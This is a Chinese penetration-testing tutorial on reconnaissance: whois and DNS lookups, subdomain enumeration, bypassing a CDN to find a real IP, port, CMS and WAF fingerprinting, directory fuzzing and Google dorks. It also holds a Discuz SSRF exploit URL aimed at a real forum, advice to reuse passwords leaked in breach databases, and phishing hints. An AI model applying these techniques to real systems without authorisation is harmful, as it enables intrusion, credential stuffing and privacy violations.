前言
信息搜集分为主动信息搜集和被动信息搜集,主动信息搜集是与目标主机进行直接交互,从而拿到我们的目标信息,而被动信息搜集恰恰与主动信息搜集相反,不与目标主机进行直接交互,通过搜索引擎或者社交等方式间接的获取目标主机的信息。
whois信息
whois信息可以获取关键注册人的信息,包括注册公司、注册邮箱、管理员邮箱、管理员联系手机等,对后期社工很有用。同时该工具还可以查询同一注册人注册的其他的域名,域名对应的NS记录、MX记录,自动识别国内常见的托管商(万网、新网等)。常用的工具有:站长之家,爱站网等等都提供了whois的查询,kali下的whois命令。
1 | whois www.langzi.fun |
然后可以看到注册人信息,邮箱等等这样我们可以进行邮箱反查域名,爆破邮箱,社工,域名劫持等等,总的来说这也就是个网站的身份证那样的作用,至于起到的作用就看你如何发挥了。
DNS服务器查询
除了whois查询之外,在kali下我们还可以通过host命令来查询dns服务器
1 | DNS查询: |
格式:
1 | host 命令 |
比如
1 | host -t ns langzi.fun |
DNS记录类型=>在买了域名后IDC的那个后台里,添加解析记录的地方就能看到
如果要获取IP
1 | host -t a langzi.fun |
子域名
在渗透测试的时候,往往主站的防御会很强,常常无从下手,那么子站就是一个重要的突破口,因此子域名是渗透测试的主要关注对象,子域名搜集的越完整,那么挖到的漏洞就可能更多,甚至漏洞的级别也会更高。常用的工具有下面这些
- 子域名挖掘机Layer
使用方法:
1 | 图形化的,不多解释 |
- 李姐姐的subDomainsBrute 下载地址
使用方法:
1 | 进入文件目录下 |
- DNS区域传送漏洞
漏洞说明:
1 | 区域传送操作指的是一台后备服务器使用来自主服务器的数据刷新自己的zone数据库。一般来说,DNS区域传送操作只在网络里真的有后备域名DNS服务器时才有必要执行,但许多DNS服务器却被错误地配置成只要有人发出请求,就会向对方提供一个zone数据库的拷贝。当一个单位没有使用公用/私用DNS机制来分割外部公用DNS信息和内部私用DNS信息的时候,此时内部主机名和IP地址都暴露给了攻击者。就像是把一个单位的内部网络完整蓝图或导航图奉送给了别人。 |
检测方法:
1 | 出于习惯性反应,首先,你应该去查下目标的ns服务器是否允许区域传送,如果允许,直接把目标的整个子域备份过来即可,后面将要说的所有步骤就可以直接全省了,关于dig和nslookup的使用非常简单,请自行查看其命令帮助或谷歌,实际测试中,个人还是更推荐用dig [毕竟是从权威dns查的,结果相对较准] |
1 | 很显然,上面的这些ns服务器都不允许传送,为了给大家看看实际的传送效果,这里就给大家一个可以传送的实例 |
KALI下 fierce -dns domainName
sublist3r 下载地址
使用方法:
1 | 进入文件目录下 |
- wydomain 下载地址
使用方法:
1 | -d 接url |
- Google、baidu、Bing等传统搜索引擎
使用方法:
1 | site:baidu.com inurl:baidu.com |
- 在线查询接口
使用方法:
1 | http://tool.chinaz.com/subdomain/ |
综合搜索
迅捷斥候提莫:https://github.com/bit4woo/teemo
主要有三大模块:搜索引擎 第三方站点 枚举利用全网IP扫描http端口 在访问IP的80或者8080端口的时候,可能会遇到配置了301跳转的,可以在header里获取域名信息。
全网扫描结果如下:https://scans.io/study/sonar.http
当收集的子域名数量过大,手动筛选工作量太大,如何快速扫描,半自动的筛选出有效的可能存在漏洞的子域名。
参考链接
目标真实IP
验证是否存在CDN最简单的办法
现在大部分网站都加了CDN,CDN的虚假IP干扰了我们的渗透测试,如何绕过CDN查找到目标的真实IP,对我们来说非常重要。首先,我们需要判断下是否存在CDN,方法很简单,只要在不同地区进行ping检测就可以知道。不同地区ping同一个网址,得到不同的IP地址,那么该网站开启了CDN加速,相反如果得到的是同一个IP地址,那么极大可能不存在cdn,但是不绝对。常用的工具有多个地点ping服务器-网站测速-站长工具。其次,绕过CDN获取真实IP的方法互联网上有很多,我常用的有二级域名法,目标长得一般不会把所有的二级域名放在cdn上,伤钱呐,确定了没有使用CDN的二级域名后,本地将目标域名绑定到同ip,能访问就说明目标站与二级域名在同一服务器叶可能在同C段,扫描C段所有开80端口的ip,挨个尝试。nslookup法,大部分CDN提供商只针对国内市场,而对国外市场几乎是不做CDN,所以有很大的几率直接解析到真实IP,不过需要国外的冷门的DNS,如下:
1 | 209.244.0.3 |
通过在线的多地ping,通过每个地区ping的结果得到IP
看这些IP是否一致,如果都是一样的,极大可能不存在cdn,但不绝对
如果这些IP大多都不太一样或者规律性很强,可以尝试查询这些IP的归属地,判断是否存在CDN
查询子域名
很多网站主站的访问量会比较大。所以往往主站都是挂了CDN的
但是分站就不一定了,毕竟CDN要钱,而且也不便宜
所以可能一些分站就没有挂CDN,所以有时候可以尝试通过查看分站IP
可能是同个IP或者同个站都是没准的。Zoomeye.org, shodan.io ,fofa.so,微步在线,是我们不错的选择,使用api效果更佳
国外访问
国内的CDN往往只会针对国内用户访问加速
所以国外就不一定了。因此通过国外代理访问就能查看真实IP了
或者通过国外的DNS解析,可能就能得到真实的IP
查询历史DNS记录
1 | 查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有: |
xcdn
1 | https://github.com/3xp10it/xcdn |
Zmap扫描全网
1 | 操作方法:http://bobao.360.cn/learning/detail/211.html |
如何处理CDN,获取真实IP
- 通过一些没有设置cdn的子域名站点进行c段扫描,可能与其他站点属于同一个c段
- 历史DNS查询,很老的在未使用cdn时候的dns解析记录可能会暴露该信息
- 找国外的比较偏僻的DNS解析服务器进行DNS查询,因为大部分CDN提供商只针对国内市场,而对国外市场几乎是不做CDN,所以有很大的几率会直接解析到真实IP
SMTP发送邮件泄露源站ip
最简单,常见的方式。大部分公用SMTP服务在发信时邮件头会带上发件者ip,这样导致cdn直接失去对攻击者的防护意义。
disucz论坛,我们可以通过注册账号 或者找回密码等 任何可以让网站发送一个邮件给我们的方式 来获取源ip,在邮箱中查看原文。
即可获得web服务器的源ip。 具体获得源ip后怎么利用在文末一起总结
解决方案:使用邮件头不显示ip的smtp服务,或者将邮件服务更改为使用WEBAPI发送邮件即可。
泄露IP的程序
扫描目标web目录 获取一个phpinfo 探针类文件 ,基本上都存有服务器真实ip
SSRF
乌云峰会的时候 猪猪侠曾讲过”SSRF是只影响有钱人的漏洞” 但在渗透测试的时候 我们的目标并不是个个都是有钱人 有BAT他们那样大的内网
我们只是简单的想取一个源站ip,这时候SSRF也能帮我们一把
以discuz举例 (DZ官方似乎并不把SSRF当漏洞,所以该方案可行度很高)
我们这里用春秋论坛做例子,discuz ssrf的exp为:/forum.php?mod=ajax&action=dkwnremkteimg&message=[img=1,1]http://183.60.109.99:3319/aq9w.jpg[/lmg]
直接访问ip可以确定
反向地址解析
我们经常使用到得DNS服务器里面有两个区域,即“正向查找区域”和“反向查找区域”,正向查找区域就是我们通常所说的域名解析,反向查找区域即是这里所说的IP反向解析,它的作用就是通过查询IP地址的PTR记录来得到该IP地址指向的域名.
由于在域名系统中,一个IP地址可以对应多个域名,因此从IP出发去找域名,理论上应该遍历整个域名树,但这在Internet上是不现实的。为了完成逆向域名解析,系统提供一个特别域,该特别域称为逆向解析域in-addr.arpa。这样欲解析的IP地址就会被表达成一种像域名一样的可显示串形式,后缀以逆向解析域域名”in-addr.arpa”结尾。例如一个IP地址:222.211.233.244,其逆向域名表达方式为:244.233.221.222.in-addr.arpa
dig:使用dig进行反向解析的命令格式为:
1 | dig -x ip @dnsserver #用 dig 查看反向解析 |
还可以在线查询查询
想要获得完整的信息,可以多尝试不同的工具,整合结果。很多工具无法做反向查询的原因,在于域名所有者没有添加反向解析记录。
旁站C段查询
旁站是和目标网站在同一台服务器上的其它的网站;如果从目标站本身找不到好的入手点,这时候,如果想快速拿下目标的话,一般都会先找个目标站点所在服务器上其他的比较好搞的站下手,然后再想办法跨到真正目标的站点目录中。C段是和目标机器ip处在同一个C段的其它机器;通过目标所在C段的其他任一台机器,想办法跨到我们的目标机器上。常用的工具有webscancc,Nmap,Zenmap。
1 | 旁站: 和目标网站在同一台服务器上的其它的网站 |
现在市面上这类的工具也是多如牛毛,但各有优劣(可能是接口质量的差别吧),但大多数都是用bing的接口,把查询到的结果数据中的旁站链接提取出来,C段和旁站唯一不一样的地方,就是C段是把整个段的ip上的旁站都轮询一遍,不过在此之前你需要先申请一下bing的搜索api,其实我自己都是选择性的用,因为不太准,手工直接在bing里面翻翻可能就有了,因为工具本身有时可能会漏掉很多有价值的参考信息,反正我们的目的就是随便找个能进去的站即可,怎么找,随意,你自己觉得怎么快就怎么来,渗透在乎更多的是结果和效率,过程几乎都不会太在意
1 | 同IP网站及C段查询 |
服务指纹识别
主机系统的识别
识别目标主机的操作系统,首先,可以帮助我们进一步探测操作系统级别的漏洞从而可以从这一级别进行渗透测试。其次,操作系统和建筑在本系统之上的应用一般是成套出现的,例如LAMP或者LNMP。操作系统的版本也有助于我们准确定位服务程序或者软件的版本,比如一般情况下windows server 2003 搭载的IIS为6.0,windows server 2008 R2 搭载的是IIS7.5。具体的查询方法如下
- 很多站点,可能没有自定义错误信息。因此在url上随便输入一个不存在的地址,可能会返回有用的信息,比如PHP编写,Web服务器为Apathe/2.2.22,操作系统为Windows
- 也可以抓包查看header的头部信息
- 在站长之家之类的seo综合查询功能中也可以获取到详细信息
- nmap判断:nmap -O langzi.fun
- Banner抓取:Banner信息并不是操作系统本身的行为,是由应用程序自动返回的比如apathe、exchange。而且很多时候并不会直接返回操作系统信息,幸运的话,可能会看到服务程序本身的版本信息,并以此进行推断。
使用命令:
1 | telnet www.langzi.fun 3306//返回3306端口的banner |
- 使用p0f进行操作系统探测:p0f是一款被动探测工具,能够通过捕获并分析目标主机发出的数据包来对主机上的操作系统进行鉴别,即使是在系统上装有性能良好的防火墙的情况下也没有问题。
使用方法:
1 | p0f -i eth0 –p //监听网卡eth0,并开启混杂模式。这样会监听到每一个网络连接。 |
网站程序CMS识别
- 我曾经整理过CMS识别字典,大概2400+种识别方式地址
- 云悉在线WEB指纹CMS识别平台:http://www.yunsee.cn
- 在线识别:http://www.iguoli.cn/cms.php
- 在线识别:http://whatweb.bugscaner.com/look/
- whatweb:https://www.morningstarsecurity.com/research/whatweb
服务器与中间件信息
- 通过Nmap、Zmap等端口和指纹识别功能搜集,也可以使用nc和telnet获取Banner信息进行识别,常用工具有whatweb
- 通过错误的页面也可以得到信息
- 扫描端口,然后浏览器打开url+端口也可以获取一定信息
邮箱收集
首先确定目标的邮件服务器所在的真实位置,看看邮件服务器自身有没有什么错误配置,比如,没有禁用VREY或者EXPN命令导致用户信息泄露。然后从whois中获取域名的注册人、管理员邮箱,利用搜索引擎或者社工库查看有木有泄露的密码,然后尝试泄露的密码进行登录,最后从目标站点上搜集邮箱,例如网站上的联系我们,我们发发邮件钓鱼什么的。常用的工具有kali下的theharester。
使用方法:
1 | 最常见用法:theharvester -d 域名|公司名 -b 搜索来源(google,bing,pgp,linkedin等) |
或者利用theHarvester的扫描在线账户的功能,例如邮箱帐号;简单用法:
1 | $ theHarvester -d 163.com -l 1000 -b google |
敏感目录/文件
用扫描器扫描目录,这时候你需要一本强大的字典,重在平时积累。字典越强扫描处的结果可能越多,这一步主要扫出网站的管理员入口,一些敏感文件(.mdb,.excel,.word,.zip,.rar),查看是否存在源代码泄露。
常见有.git文件泄露,.svn文件泄露,.DB_store文件泄露,WEB-INF/web.xml泄露。目录扫描有两种方式,使用目录字典进行暴力才接存在该目录或文件返回200或者403;使用爬虫爬行主页上的所有链接,对每个链接进行再次爬行,收集这个域名下的所有链接,然后总结出需要的信息。
常用的工具有:
- 御剑
- kali下的dirb,DirBrute。
- 以前写的一个扫描器,扫描备份文件和源码泄露准确率非常高地址
- robots.txt可能存在一些敏感路径
- 路径fuzz:例如猪猪侠的工具:https://github.com/ring04h/weakfilescan
- 以前写的扫描备份文件工具地址
- 以前写的探测敏感信息的工具地址
- 一个url路径模糊测试工具地址
使用说明:
1 | 这个工具主要就是先爬取网页的路径,然后再对每个路径进行fuzz,这种思路跟以前的路径fuzz的差别就在于可获取更多存在的链接进行fuzz;而不单单只是进行对根目录或者某个路径进行字典加载。网友优化后的轮子(https://github.com/Mosuan/FileScan) |
- Wfuzz:Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等。
使用说明:
你可以用Wfuzz找到下面的漏洞:
1 | 可预测的认证 |
Wfuzz是用来帮助测试人员评估WEB应用的渗透测试工具。
1 | 递归(目录发掘) |
端口信息
服务和安全是相对应的,每开启一个端口,那么攻击面就大了一点,开启的端口越多,也就意味着服务器面临的威胁越大。开始扫描之前不妨使用telnet先简单探测下某些端口是否开放,避免使用扫描器而被封IP,扫描全端口一般使用Nmap,masscan进行扫描探测,尽可能多的搜集开启的端口好已经对应的服务版本,得到确切的服务版本后可以搜索有没有对应版本的漏洞。
在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
- 端口的banner信息
- 端口上运行的服务
- 常见应用的默认端口
常见的端口信息及渗透方法。
1 | 端口号 端口服务/协议简要说明 关于端口可能的一些渗透用途 |
WAF检测
- waf00f:是kali下的识别WAF的老工具 https://github.com/Ekultek/WhatWaf,使用命令 waf00f langzi.fun
- 从乌云镜像站、CNVD搜集网站历史漏洞
- SQLMAP自带的WAF识别功能,我移植出来了,可以自定义新规则。发布在T00ls https://www.t00ls.net/thread-46639-1-1.html
- 使用云悉也可以查询出WAF
- 输入一个错误的页面,查看返回的头部信息或者body信息
Google hacking
这里专门把搜索引擎拿出来说,涉及只是比较多
对于普通的用户而言,Google是一个强大的搜索引擎;而对于黑客而言,则可能是一款绝佳的黑客工具。正因为google的检索能力强大,黑客可以构造特殊的关键字语法,使用Google搜索互联网上的相关隐私信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。 下面介绍一些常用的所谓“谷歌黑客语法”。
例如批量查找学校网站的后台 输入如下关键字
1 | site:hdu.edu.cn intext:管理|后台|登录|用户名|密码|验证码|系统|账号|后台管理|后台登录 |
实际操作时需根据情况组合使用,下面列举些常用的
1 | intext:to parent directory |
第三方未公开数据
“社工库”是运用社会工程学进行攻击的时候积累的各方面数据的结构化数据库。这个数据库里有大量信息,甚至可以找到每个人的各种行为记录,比如酒店开房记录、个人身份证、姓名和电话号码。
例如查询某QQ号老密码。findmima.com(要爬墙)
更多的社工库需要花钱或者自己搜索整理了
漏洞扫描
使用扫描器对网址目标进行检测,常见的扫描器有大型的awvs,appscan和小型的表哥自己写
转自:langzi